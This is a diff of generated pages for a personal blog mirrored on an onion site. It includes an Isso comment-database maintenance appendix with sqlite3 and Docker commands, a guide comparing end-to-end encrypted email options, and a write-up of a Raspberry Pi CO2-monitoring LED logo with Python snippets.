    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/rss/page/1/index.html b/public-onion/tags/rss/page/1/index.html new file mode 100644 index 0000000..4672ffe --- /dev/null +++ b/public-onion/tags/rss/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/rss/ + + + + + + diff --git a/public-onion/tags/s/mime/index.html b/public-onion/tags/s/mime/index.html new file mode 100644 index 0000000..7a6df15 --- /dev/null +++ b/public-onion/tags/s/mime/index.html @@ -0,0 +1,352 @@ + + + + + + + +S/Mime | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends +

    +
    +
    +

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    +
    +
    October 30, 2025 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/s/mime/index.xml b/public-onion/tags/s/mime/index.xml new file mode 100644 index 0000000..f43c435 --- /dev/null +++ b/public-onion/tags/s/mime/index.xml @@ -0,0 +1,177 @@ + + + + S/Mime on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/s/mime/ + Recent content in S/Mime on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 30 Oct 2025 00:00:00 +0000 + + + Sending End‑to‑End Encrypted Email (E2EE) without losing friends + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + A practical, mildly opinionated guide to sending encrypted email that normal people can actually read. + If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/s/mime/page/1/index.html b/public-onion/tags/s/mime/page/1/index.html new file mode 100644 index 0000000..127c9ab --- /dev/null +++ b/public-onion/tags/s/mime/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/s/mime/ + + + + + + diff --git a/public-onion/tags/scd41/index.html b/public-onion/tags/scd41/index.html new file mode 100644 index 0000000..2d3f8d5 --- /dev/null +++ b/public-onion/tags/scd41/index.html @@ -0,0 +1,357 @@ + + + + + + + +Scd41 | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    + Six looks of the INET LED logo +
    +
    +

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server +

    +
    +
    +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    +
    +
    October 17, 2025 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/scd41/index.xml b/public-onion/tags/scd41/index.xml new file mode 100644 index 0000000..a60562f --- /dev/null +++ b/public-onion/tags/scd41/index.xml @@ -0,0 +1,419 @@ + + + + Scd41 on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/scd41/ + Recent content in Scd41 on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 17 Oct 2025 00:00:00 +0000 + + + INET Logo That Breathes — From CAD to LEDs to a Calm Little Server + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + Fri, 17 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + <blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> + +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
